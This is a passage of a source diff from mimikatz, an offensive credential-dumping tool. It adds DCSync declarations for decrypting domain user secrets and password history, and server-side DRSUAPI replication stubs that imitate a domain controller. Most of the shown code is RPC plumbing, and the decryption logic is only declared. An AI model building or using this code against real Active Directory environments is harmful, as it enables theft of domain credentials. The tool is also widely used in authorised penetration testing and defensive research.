kull_m_string_displayGUID((LPCGUID) data); + kprintf(L" (not an object GUID)\n"); + } + else if(ptr = wcschr(name + 9, L' ')) + { + szGuid = (USHORT) ((ptr - (name + 9)) * sizeof(wchar_t)); + uGuid.Length = uGuid.MaximumLength = szGuid + (2 * sizeof(wchar_t)); + if(uGuid.Buffer = (PWSTR) LocalAlloc(LPTR, uGuid.MaximumLength)) + { + uGuid.Buffer[0] = L'{'; + RtlCopyMemory(uGuid.Buffer + 1, name + 9, szGuid); + uGuid.Buffer[(uGuid.Length >> 1) - 1] = L'}'; + if(NT_SUCCESS(RtlGUIDFromString(&uGuid, &guid))) + kuhl_m_lsadump_analyzeKey(&guid, (PKIWI_BACKUP_KEY) data, size, someExport); + LocalFree(uGuid.Buffer); + } + } + } + else kull_m_string_wprintf_hex(data, size, 1 | (16 << 16)); + } + LocalFree(name); + } + } +} + +//NTSTATUS kuhl_m_lsadump_dc...(int argc, wchar_t * argv[]) +//{ +// +//} + +void __RPC_USER SRV_DRS_HANDLE_rundown(DRS_HANDLE hDrs) +{ +} + +ULONG SRV_IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS *pextClient, DRS_EXTENSIONS **ppextServer, DRS_HANDLE *phDrs) +{ + return STATUS_NOT_IMPLEMENTED; +} + +ULONG SRV_IDL_DRSUnbind(DRS_HANDLE *phDrs) +{ + return STATUS_NOT_IMPLEMENTED; +} + +ULONG SRV_IDL_DRSGetNCChanges(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_GETCHGREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_GETCHGREPLY *pmsgOut) +{ + return STATUS_NOT_IMPLEMENTED; +} + +ULONG SRV_IDL_DRSUpdateRefs(DRS_HANDLE hDrs, DWORD dwVersion, DRS_MSG_UPDREFS *pmsgUpdRefs) +{ + return STATUS_NOT_IMPLEMENTED; +} \ No newline at end of file diff --git a/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h new file mode 100644 index 000000000..322cbf163 --- /dev/null +++ b/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.h @@ -0,0 +1,47 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + + Vincent LE TOUX + http://pingcastle.com / http://mysmartlogon.com + vincent.letoux@gmail.com + + Licence : https://creativecommons.org/licenses/by/4.0/ +*/ +#pragma once +#include "../modules/rpc/kull_m_rpc_drsr.h" +#include "../kuhl_m.h" +#include "../kuhl_m_lsadump.h" // to move + +NTSTATUS kuhl_m_lsadump_dcsync(int argc, wchar_t * argv[]); +//NTSTATUS kuhl_m_lsadump_dc...(int argc, wchar_t * argv[]); + +#pragma pack(push, 1) +typedef struct _USER_PROPERTY { + USHORT NameLength; + USHORT ValueLength; + USHORT Reserved; + wchar_t PropertyName[ANYSIZE_ARRAY]; + // PropertyValue in HEX ! +} USER_PROPERTY, *PUSER_PROPERTY; + +typedef struct _USER_PROPERTIES { + DWORD Reserved1; + DWORD Length; + USHORT Reserved2; + USHORT Reserved3; + BYTE Reserved4[96]; + wchar_t PropertySignature; + USHORT PropertyCount; + USER_PROPERTY UserProperties[ANYSIZE_ARRAY]; +} USER_PROPERTIES, *PUSER_PROPERTIES; +#pragma pack(pop) + +BOOL kuhl_m_lsadump_dcsync_decrypt(PBYTE encodedData, DWORD encodedDataSize, DWORD rid, LPCWSTR prefix, BOOL isHistory); +void kuhl_m_lsadump_dcsync_descrObject(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain, BOOL someExport); +void kuhl_m_lsadump_dcsync_descrUser(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes); +void kuhl_m_lsadump_dcsync_descrUserProperties(PUSER_PROPERTIES properties); +void kuhl_m_lsadump_dcsync_descrTrust(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, LPCWSTR szSrcDomain); +void kuhl_m_lsadump_dcsync_descrTrustAuthentication(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, PCUNICODE_STRING domain, PCUNICODE_STRING partner, BOOL isIn); +void kuhl_m_lsadump_dcsync_descrSecret(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes, BOOL someExport); +void kuhl_m_lsadump_dcsync_descrObject_csv(SCHEMA_PREFIX_TABLE *prefixTable, ATTRBLOCK *attributes); \ No newline at end of file diff --git a/modules/kull_m_output.c b/modules/kull_m_output.c index 89fc7499a..5ca0ff2d2 100644 --- a/modules/kull_m_output.c +++ b/modules/kull_m_output.c @@ -6,17 +6,21 @@ #include "kull_m_output.h" FILE * logfile = NULL; +#ifndef MIMIKATZ_W2000_SUPPORT wchar_t * outputBuffer = NULL; size_t outputBufferElements = 0, outputBufferElementsPosition = 0; +#endif void kprintf(PCWCHAR format, ...) { +#ifndef MIMIKATZ_W2000_SUPPORT int varBuf; size_t tempSize; wchar_t * tmpBuffer; +#endif va_list args; va_start(args, format); - +#ifndef MIMIKATZ_W2000_SUPPORT if(outputBuffer) { varBuf = _vscwprintf(format, args); @@ -42,8 +46,11 @@ void kprintf(PCWCHAR format, ...) outputBufferElementsPosition += varBuf; } } +#endif #ifndef _POWERKATZ +#ifndef MIMIKATZ_W2000_SUPPORT else +#endif { vwprintf(format, args); fflush(stdout); diff --git a/modules/kull_m_output.h b/modules/kull_m_output.h index fca5e477f..a85cd19d0 100644 --- a/modules/kull_m_output.h +++ b/modules/kull_m_output.h @@ -9,10 +9,10 @@ #include FILE * logfile; -//#ifdef _WINDLL +#ifndef MIMIKATZ_W2000_SUPPORT wchar_t * outputBuffer; size_t outputBufferElements, outputBufferElementsPosition; -//#endif +#endif void kprintf(PCWCHAR format, ...); void kprintf_inputline(PCWCHAR format, ...); diff --git a/modules/kull_m_process.c b/modules/kull_m_process.c index 7e8d562d5..a984033af 100644 --- a/modules/kull_m_process.c +++ b/modules/kull_m_process.c @@ -558,6 +558,22 @@ NTSTATUS kull_m_process_getExportedEntryInformations(PKULL_M_MEMORY_ADDRESS addr return STATUS_SUCCESS; } +BOOL CALLBACK kull_m_process_getProcAddress_callback(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg) +{ + if(((PKULL_M_PROCESS_PROCADDRESS_FOR_NAME) pvArg)->isFound = _stricmp(pExportedEntryInformations->name, ((PKULL_M_PROCESS_PROCADDRESS_FOR_NAME) pvArg)->name) == 0) + ((PKULL_M_PROCESS_PROCADDRESS_FOR_NAME) pvArg)->address = pExportedEntryInformations->function; + return !((PKULL_M_PROCESS_PROCADDRESS_FOR_NAME) pvArg)->isFound; +} + +BOOL kull_m_process_getProcAddress(PKULL_M_MEMORY_ADDRESS moduleAddress, PCSTR name, PKULL_M_MEMORY_ADDRESS functionAddress) +{ + KULL_M_PROCESS_PROCADDRESS_FOR_NAME s = {name, NULL, FALSE}; + if(NT_SUCCESS(kull_m_process_getExportedEntryInformations(moduleAddress, kull_m_process_getProcAddress_callback, &s))) + if(s.isFound) + *functionAddress = s.address; + return s.isFound; +} + PSTR kull_m_process_getImportNameWithoutEnd(PKULL_M_MEMORY_ADDRESS base) { CHAR sEnd = '\0'; diff --git a/modules/kull_m_process.h b/modules/kull_m_process.h index 29a444261..c4a08b6ee 100644 --- a/modules/kull_m_process.h +++ b/modules/kull_m_process.h @@ -427,6 +427,14 @@ typedef struct _KULL_M_PROCESS_EXPORTED_ENTRY { typedef BOOL (CALLBACK * PKULL_M_EXPORTED_ENTRY_ENUM_CALLBACK) (PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg); NTSTATUS kull_m_process_getExportedEntryInformations(PKULL_M_MEMORY_ADDRESS address, PKULL_M_EXPORTED_ENTRY_ENUM_CALLBACK callBack, PVOID pvArg); +typedef struct _KULL_M_PROCESS_PROCADDRESS_FOR_NAME { + PCSTR name; + KULL_M_MEMORY_ADDRESS address; + BOOL isFound; +} KULL_M_PROCESS_PROCADDRESS_FOR_NAME, *PKULL_M_PROCESS_PROCADDRESS_FOR_NAME; +BOOL CALLBACK kull_m_process_getProcAddress_callback(PKULL_M_PROCESS_EXPORTED_ENTRY pExportedEntryInformations, PVOID pvArg); +BOOL kull_m_process_getProcAddress(PKULL_M_MEMORY_ADDRESS moduleAddress, PCSTR name, PKULL_M_MEMORY_ADDRESS functionAddress); + typedef struct _KULL_M_PROCESS_IMPORTED_ENTRY { WORD machine; PSTR libname; diff --git a/modules/rpc/kull_m_rpc_drsr.c b/modules/rpc/kull_m_rpc_drsr.c index 7594f8526..085eabddd 100644 --- a/modules/rpc/kull_m_rpc_drsr.c +++ b/modules/rpc/kull_m_rpc_drsr.c @@ -302,25 +302,12 @@ BOOL kull_m_rpc_drsr_ProcessGetNCChangesReply_decrypt(ATTRVAL *val) void kull_m_rpc_drsr_free_DRS_MSG_CRACKREPLY_data(DWORD nameCrackOutVersion, DRS_MSG_CRACKREPLY * reply) { - DWORD i; if(reply) { switch (nameCrackOutVersion) { case 1: - if(reply->V1.pResult) - { - for(i = 0; i < reply->V1.pResult->cItems; i++) - { - if(reply->V1.pResult->rItems[i].pDomain) - MIDL_user_free(reply->V1.pResult->rItems[i].pDomain); - if(reply->V1.pResult->rItems[i].pName) - MIDL_user_free(reply->V1.pResult->rItems[i].pName); - } - if(reply->V1.pResult->rItems) - MIDL_user_free(reply->V1.pResult->rItems); - MIDL_user_free(reply->V1.pResult); - } + kull_m_rpc_ms_drsr_FreeDRS_MSG_CRACKREPLY_V1(&reply->V1); break; default: PRINT_ERROR(L"nameCrackOutVersion not valid (0x%08x - %u)\n", nameCrackOutVersion, nameCrackOutVersion); diff --git a/modules/rpc/kull_m_rpc_ms-drsr.h b/modules/rpc/kull_m_rpc_ms-drsr.h index 470030501..ca4a5d1cf 100644 --- a/modules/rpc/kull_m_rpc_ms-drsr.h +++ b/modules/rpc/kull_m_rpc_ms-drsr.h @@ -7,7 +7,7 @@ typedef ULONG ATTRTYP; typedef void *DRS_HANDLE; typedef struct _NT4SID { - unsigned char Data[ 28 ]; + unsigned char Data[28]; } NT4SID; typedef struct _DSNAME { @@ -60,11 +60,6 @@ typedef struct _PARTIAL_ATTR_VECTOR_V1_EXT { ATTRTYP rgPartialAttr[ANYSIZE_ARRAY]; } PARTIAL_ATTR_VECTOR_V1_EXT; -typedef struct _MTX_ADDR { - unsigned long mtx_namelen; - unsigned char mtx_name[ANYSIZE_ARRAY]; -} MTX_ADDR; - typedef struct _ATTRVAL { ULONG valLen; UCHAR *pVal; @@ -130,15 +125,6 @@ typedef struct _VALUE_META_DATA_EXT_V1 { PROPERTY_META_DATA_EXT MetaData; } VALUE_META_DATA_EXT_V1; -typedef struct _VALUE_META_DATA_EXT_V3 { - DSTIME timeCreated; - PROPERTY_META_DATA_EXT MetaData; - DWORD unused1; - DWORD unused2; - DWORD unused3; - DSTIME timeExpired; -} VALUE_META_DATA_EXT_V3; - typedef struct _REPLVALINF_V1 { DSNAME *pObject; ATTRTYP attrTyp; @@ -147,14 +133,6 @@ typedef struct _REPLVALINF_V1 { VALUE_META_DATA_EXT_V1 MetaData; } REPLVALINF_V1; -typedef struct REPLVALINF_V3 { - DSNAME *pObject; - ATTRTYP attrTyp; - ATTRVAL Aval; - BOOL fIsPresent; - VALUE_META_DATA_EXT_V3 MetaData; -} REPLVALINF_V3; - typedef struct _DS_NAME_RESULT_ITEMW { DWORD status; WCHAR *pDomain; @@ -166,16 +144,6 @@ typedef struct _DS_NAME_RESULTW { PDS_NAME_RESULT_ITEMW rItems; } DS_NAME_RESULTW, *PDS_NAME_RESULTW; -typedef struct _DS_DOMAIN_CONTROLLER_INFO_1W { - WCHAR *NetbiosName; - WCHAR *DnsHostName; - WCHAR *SiteName; - WCHAR *ComputerObjectName; - WCHAR *ServerObjectName; - BOOL fIsPdc; - BOOL fDsEnabled; -} DS_DOMAIN_CONTROLLER_INFO_1W; - typedef struct _DS_DOMAIN_CONTROLLER_INFO_2W { WCHAR *NetbiosName; WCHAR *DnsHostName; @@ -193,88 +161,11 @@ typedef struct _DS_DOMAIN_CONTROLLER_INFO_2W { GUID NtdsDsaObjectGuid; } DS_DOMAIN_CONTROLLER_INFO_2W; -typedef struct _DS_DOMAIN_CONTROLLER_INFO_3W { - WCHAR *NetbiosName; - WCHAR *DnsHostName; - WCHAR *SiteName; - WCHAR *SiteObjectName; - WCHAR *ComputerObjectName; - WCHAR *ServerObjectName; - WCHAR *NtdsDsaObjectName; - BOOL fIsPdc; - BOOL fDsEnabled; - BOOL fIsGc; - BOOL fIsRodc; - GUID SiteObjectGuid; - GUID ComputerObjectGuid; - GUID ServerObjectGuid; - GUID NtdsDsaObjectGuid; -} DS_DOMAIN_CONTROLLER_INFO_3W; - -typedef struct _DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW { - DWORD IPAddress; - DWORD NotificationCount; - DWORD secTimeConnected; - DWORD Flags; - DWORD TotalRequests; - DWORD Reserved1; - WCHAR *UserName; -} DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW; - -typedef struct _ENTINFLIST { - struct _ENTINFLIST *pNextEntInf; - ENTINF Entinf; -} ENTINFLIST; - typedef struct _DRS_EXTENSIONS { DWORD cb; BYTE rgb[ANYSIZE_ARRAY]; } DRS_EXTENSIONS; -typedef struct _DRS_MSG_GETCHGREQ_V3 { - UUID uuidDsaObjDest; - UUID uuidInvocIdSrc; - DSNAME *pNC; - USN_VECTOR usnvecFrom; - UPTODATE_VECTOR_V1_EXT *pUpToDateVecDestV1; - PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrVecDestV1; - SCHEMA_PREFIX_TABLE PrefixTableDest; - ULONG ulFlags; - ULONG cMaxObjects; - ULONG cMaxBytes; - ULONG ulExtendedOp; -} DRS_MSG_GETCHGREQ_V3; - -typedef struct _DRS_MSG_GETCHGREQ_V4 { - UUID uuidTransportObj; - MTX_ADDR *pmtxReturnAddress; - DRS_MSG_GETCHGREQ_V3 V3; -} DRS_MSG_GETCHGREQ_V4; - -typedef struct _DRS_MSG_GETCHGREQ_V7 { - UUID uuidTransportObj; - MTX_ADDR *pmtxReturnAddress; - DRS_MSG_GETCHGREQ_V3 V3; - PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet; - PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx; - SCHEMA_PREFIX_TABLE PrefixTableDest; -} DRS_MSG_GETCHGREQ_V7; - -typedef struct _DRS_MSG_GETCHGREPLY_V1 { - UUID uuidDsaObjSrc; - UUID uuidInvocIdSrc; - DSNAME *pNC; - USN_VECTOR usnvecFrom; - USN_VECTOR usnvecTo; - UPTODATE_VECTOR_V1_EXT *pUpToDateVecSrcV1; - SCHEMA_PREFIX_TABLE PrefixTableSrc; - ULONG ulExtendedRet; - ULONG cNumObjects; - ULONG cNumBytes; - REPLENTINFLIST *pObjects; - BOOL fMoreData; -} DRS_MSG_GETCHGREPLY_V1; - typedef struct _DRS_MSG_GETCHGREPLY_V6 { UUID uuidDsaObjSrc; UUID uuidInvocIdSrc; @@ -295,44 +186,9 @@ typedef struct _DRS_MSG_GETCHGREPLY_V6 { DWORD dwDRSError; } DRS_MSG_GETCHGREPLY_V6; -typedef struct _DRS_MSG_GETCHGREPLY_V9 { - UUID uuidDsaObjSrc; - UUID uuidInvocIdSrc; - DSNAME *pNC; - USN_VECTOR usnvecFrom; - USN_VECTOR usnvecTo; - UPTODATE_VECTOR_V2_EXT *pUpToDateVecSrc; - SCHEMA_PREFIX_TABLE PrefixTableSrc; - ULONG ulExtendedRet; - ULONG cNumObjects; - ULONG cNumBytes; - REPLENTINFLIST *pObjects; - BOOL fMoreData; - ULONG cNumNcSizeObjects; - ULONG cNumNcSizeValues; - DWORD cNumValues; - REPLVALINF_V3 *rgValues; - DWORD dwDRSError; -} DRS_MSG_GETCHGREPLY_V9; - -typedef struct _DRS_COMPRESSED_BLOB { - DWORD cbUncompressedSize; - DWORD cbCompressedSize; - BYTE *pbCompressedData; -} DRS_COMPRESSED_BLOB; - -typedef struct _DRS_MSG_GETCHGREQ_V5 { - UUID uuidDsaObjDest; - UUID uuidInvocIdSrc; - DSNAME *pNC; - USN_VECTOR usnvecFrom; - UPTODATE_VECTOR_V1_EXT *pUpToDateVecDestV1; - ULONG ulFlags; - ULONG cMaxObjects; - ULONG cMaxBytes; - ULONG ulExtendedOp; - ULARGE_INTEGER liFsmoInfo; -} DRS_MSG_GETCHGREQ_V5; +typedef union _DRS_MSG_GETCHGREPLY { + DRS_MSG_GETCHGREPLY_V6 V6; +} DRS_MSG_GETCHGREPLY; typedef struct _DRS_MSG_GETCHGREQ_V8 { UUID uuidDsaObjDest; @@ -350,55 +206,20 @@ typedef struct _DRS_MSG_GETCHGREQ_V8 { SCHEMA_PREFIX_TABLE PrefixTableDest; } DRS_MSG_GETCHGREQ_V8; -typedef struct _DRS_MSG_GETCHGREQ_V10 { - UUID uuidDsaObjDest; - UUID uuidInvocIdSrc; - DSNAME *pNC; - USN_VECTOR usnvecFrom; - UPTODATE_VECTOR_V1_EXT *pUpToDateVecDest; - ULONG ulFlags; - ULONG cMaxObjects; - ULONG cMaxBytes; - ULONG ulExtendedOp; - ULARGE_INTEGER liFsmoInfo; - PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSet; - PARTIAL_ATTR_VECTOR_V1_EXT *pPartialAttrSetEx; - SCHEMA_PREFIX_TABLE PrefixTableDest; - ULONG ulMoreFlags; -} DRS_MSG_GETCHGREQ_V10; - typedef union _DRS_MSG_GETCHGREQ { - DRS_MSG_GETCHGREQ_V4 V4; - DRS_MSG_GETCHGREQ_V5 V5; - DRS_MSG_GETCHGREQ_V7 V7; DRS_MSG_GETCHGREQ_V8 V8; - DRS_MSG_GETCHGREQ_V10 V10; } DRS_MSG_GETCHGREQ; -typedef struct _DRS_MSG_GETCHGREPLY_V2 { - DRS_COMPRESSED_BLOB CompressedV1; -} DRS_MSG_GETCHGREPLY_V2; - -typedef enum _DRS_COMP_ALG_TYPE { - DRS_COMP_ALG_NONE = 0, - DRS_COMP_ALG_UNUSED = 1, - DRS_COMP_ALG_MSZIP = 2, - DRS_COMP_ALG_WIN2K3 = 3 -} DRS_COMP_ALG_TYPE; - -typedef struct _DRS_MSG_GETCHGREPLY_V7 { - DWORD dwCompressedVersion; - DRS_COMP_ALG_TYPE CompressionAlg; - DRS_COMPRESSED_BLOB CompressedAny; -} DRS_MSG_GETCHGREPLY_V7; +typedef struct _DRS_MSG_UPDREFS_V1 { + DSNAME *pNC; + unsigned char *pszDsaDest; + UUID uuidDsaObjDest; + ULONG ulOptions; +} DRS_MSG_UPDREFS_V1; -typedef union _DRS_MSG_GETCHGREPLY { - DRS_MSG_GETCHGREPLY_V1 V1; - DRS_MSG_GETCHGREPLY_V2 V2; - DRS_MSG_GETCHGREPLY_V6 V6; - DRS_MSG_GETCHGREPLY_V7 V7; - DRS_MSG_GETCHGREPLY_V9 V9; -} DRS_MSG_GETCHGREPLY; +typedef union _DRS_MSG_UPDREFS { + DRS_MSG_UPDREFS_V1 V1; +} DRS_MSG_UPDREFS; typedef struct _DRS_MSG_CRACKREQ_V1 { ULONG CodePage; @@ -431,33 +252,18 @@ typedef union _DRS_MSG_DCINFOREQ { DRS_MSG_DCINFOREQ_V1 V1; } DRS_MSG_DCINFOREQ, *PDRS_MSG_DCINFOREQ; -typedef struct _DRS_MSG_DCINFOREPLY_V1 { - DWORD cItems; - DS_DOMAIN_CONTROLLER_INFO_1W *rItems; -} DRS_MSG_DCINFOREPLY_V1; - typedef struct _DRS_MSG_DCINFOREPLY_V2 { DWORD cItems; DS_DOMAIN_CONTROLLER_INFO_2W *rItems; } DRS_MSG_DCINFOREPLY_V2; -typedef struct _DRS_MSG_DCINFOREPLY_V3 { - DWORD cItems; - DS_DOMAIN_CONTROLLER_INFO_3W *rItems; -} DRS_MSG_DCINFOREPLY_V3; - -typedef struct _DRS_MSG_DCINFOREPLY_VFFFFFFFF { - DWORD cItems; - DS_DOMAIN_CONTROLLER_INFO_FFFFFFFFW *rItems; -} DRS_MSG_DCINFOREPLY_VFFFFFFFF; - typedef union _DRS_MSG_DCINFOREPLY { - DRS_MSG_DCINFOREPLY_V1 V1; DRS_MSG_DCINFOREPLY_V2 V2; - DRS_MSG_DCINFOREPLY_V3 V3; - DRS_MSG_DCINFOREPLY_VFFFFFFFF VFFFFFFFF; } DRS_MSG_DCINFOREPLY; +extern RPC_IF_HANDLE drsuapi_v4_0_c_ifspec; +extern RPC_IF_HANDLE drsuapi_v4_0_s_ifspec; + ULONG IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS *pextClient, DRS_EXTENSIONS **ppextServer, DRS_HANDLE *phDrs); ULONG IDL_DRSUnbind(DRS_HANDLE *phDrs); ULONG IDL_DRSGetNCChanges(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_GETCHGREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_GETCHGREPLY *pmsgOut); @@ -470,4 +276,14 @@ void DRS_MSG_DCINFOREPLY_V2_Free(handle_t _MidlEsHandle, DRS_MSG_DCINFOREPLY_V2 #define kull_m_rpc_ms_drsr_FreeDRS_MSG_GETCHGREPLY_V6(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_GETCHGREPLY_V6_Free) #define kull_m_rpc_ms_drsr_FreeDRS_MSG_CRACKREPLY_V1(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_CRACKREPLY_V1_Free) -#define kull_m_rpc_ms_drsr_FreeDRS_MSG_DCINFOREPLY_V2(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_DCINFOREPLY_V2_Free) \ No newline at end of file +#define kull_m_rpc_ms_drsr_FreeDRS_MSG_DCINFOREPLY_V2(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_DCINFOREPLY_V2_Free) + +void __RPC_USER SRV_DRS_HANDLE_rundown(DRS_HANDLE hDrs); +ULONG SRV_IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS *pextClient, DRS_EXTENSIONS **ppextServer, DRS_HANDLE *phDrs); +ULONG SRV_IDL_DRSUnbind(DRS_HANDLE *phDrs); +ULONG SRV_IDL_DRSGetNCChanges(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_GETCHGREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_GETCHGREPLY *pmsgOut); +ULONG SRV_IDL_DRSUpdateRefs(DRS_HANDLE hDrs, DWORD dwVersion, DRS_MSG_UPDREFS *pmsgUpdRefs); + +void SRV_OpnumNotImplemented(handle_t IDL_handle); +ULONG SRV_IDL_DRSCrackNamesNotImplemented(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_CRACKREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_CRACKREPLY *pmsgOut); +ULONG SRV_IDL_DRSDomainControllerInfoNotImplemented(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_DCINFOREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_DCINFOREPLY *pmsgOut); \ No newline at end of file diff --git a/modules/rpc/kull_m_rpc_ms-drsr_c.c b/modules/rpc/kull_m_rpc_ms-drsr_c.c index bec3416d6..72ef5db3b 100644 --- a/modules/rpc/kull_m_rpc_ms-drsr_c.c +++ b/modules/rpc/kull_m_rpc_ms-drsr_c.c @@ -3,209 +3,238 @@ #ifdef _M_X64 typedef struct _ms2Ddrsr_MIDL_TYPE_FORMAT_STRING { SHORT Pad; - UCHAR Format[2071]; + UCHAR Format[1315]; } ms2Ddrsr_MIDL_TYPE_FORMAT_STRING; typedef struct _ms2Ddrsr_MIDL_PROC_FORMAT_STRING { SHORT Pad; - UCHAR Format[309]; + UCHAR Format[695]; } ms2Ddrsr_MIDL_PROC_FORMAT_STRING; +static const unsigned short drsuapi_FormatStringOffsetTable[] = {0, 60, 104, 134, 202, 258, 288, 318, 348, 378, 408, 438, 468, 536, 566, 596, 626}; +#elif defined _M_IX86 +typedef struct _ms2Ddrsr_MIDL_TYPE_FORMAT_STRING { + SHORT Pad; + UCHAR Format[1465]; +} ms2Ddrsr_MIDL_TYPE_FORMAT_STRING; + +typedef struct _ms2Ddrsr_MIDL_PROC_FORMAT_STRING { + SHORT Pad; + UCHAR Format[661]; +} ms2Ddrsr_MIDL_PROC_FORMAT_STRING; +static const unsigned short drsuapi_FormatStringOffsetTable[] = {0, 58, 100, 128, 194, 248, 276, 304, 332, 360, 388, 416, 444, 510, 538, 566, 594}; +#endif extern const ms2Ddrsr_MIDL_TYPE_FORMAT_STRING ms2Ddrsr__MIDL_TypeFormatString; extern const ms2Ddrsr_MIDL_PROC_FORMAT_STRING ms2Ddrsr__MIDL_ProcFormatString; +extern const MIDL_SERVER_INFO drsuapi_ServerInfo; + +static const RPC_DISPATCH_FUNCTION drsuapi_table[] = {NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, NdrServerCall2, 0}; +static const RPC_DISPATCH_TABLE drsuapi_v4_0_DispatchTable = {17, (RPC_DISPATCH_FUNCTION *) drsuapi_table}; +static const RPC_SERVER_INTERFACE drsuapi___RpcServerInterface = {sizeof(RPC_SERVER_INTERFACE), {{0xe3514235, 0x4b06, 0x11d1, {0xab, 0x04, 0x00, 0xc0, 0x4f, 0xc2, 0xdc, 0xd2}}, {4, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, (RPC_DISPATCH_TABLE *) &drsuapi_v4_0_DispatchTable, 0, 0, 0, &drsuapi_ServerInfo, 0x04000000}; static const RPC_CLIENT_INTERFACE drsuapi___RpcClientInterface = {sizeof(RPC_CLIENT_INTERFACE), {{0xe3514235, 0x4b06, 0x11d1, {0xab, 0x04, 0x00, 0xc0, 0x4f, 0xc2, 0xdc, 0xd2}}, {4, 0}}, {{0x8a885d04, 0x1ceb, 0x11c9, {0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60}}, {2, 0}}, 0, 0, 0, 0, 0, 0x00000000}; +RPC_IF_HANDLE + drsuapi_v4_0_s_ifspec = (RPC_IF_HANDLE) &drsuapi___RpcServerInterface, + drsuapi_v4_0_c_ifspec = (RPC_IF_HANDLE) &drsuapi___RpcClientInterface; +static const NDR_RUNDOWN RundownRoutines[] = {SRV_DRS_HANDLE_rundown}; +static const SERVER_ROUTINE drsuapi_ServerRoutineTable[] = { + (SERVER_ROUTINE) SRV_IDL_DRSBind, + (SERVER_ROUTINE) SRV_IDL_DRSUnbind, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_IDL_DRSGetNCChanges, + (SERVER_ROUTINE) SRV_IDL_DRSUpdateRefs, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_IDL_DRSCrackNamesNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_OpnumNotImplemented, + (SERVER_ROUTINE) SRV_IDL_DRSDomainControllerInfoNotImplemented +}; static RPC_BINDING_HANDLE drsuapi__MIDL_AutoBindHandle; -static const MIDL_STUB_DESC drsuapi_StubDesc = {(void *) &drsuapi___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &drsuapi__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Ddrsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0}; +static const MIDL_STUB_DESC + drsuapi_s_StubDesc = {(void *) &drsuapi___RpcServerInterface, MIDL_user_allocate, MIDL_user_free, 0, RundownRoutines, 0, 0, 0, ms2Ddrsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0}, + drsuapi_c_StubDesc = {(void *) &drsuapi___RpcClientInterface, MIDL_user_allocate, MIDL_user_free, &drsuapi__MIDL_AutoBindHandle, 0, 0, 0, 0, ms2Ddrsr__MIDL_TypeFormatString.Format, 1, 0x60000, 0, 0x8000253, 0, 0, 0, 0x1, 0, 0, 0}; +static const MIDL_SERVER_INFO drsuapi_ServerInfo = {&drsuapi_s_StubDesc, drsuapi_ServerRoutineTable, ms2Ddrsr__MIDL_ProcFormatString.Format, drsuapi_FormatStringOffsetTable, 0, 0, 0, 0}; static const MIDL_TYPE_PICKLING_INFO __MIDL_TypePicklingInfo = {0x33205054, 0x3, 0, 0, 0,}; +#ifdef _M_X64 ULONG IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS *pextClient, DRS_EXTENSIONS **ppextServer, DRS_HANDLE *phDrs) { - return (ULONG) 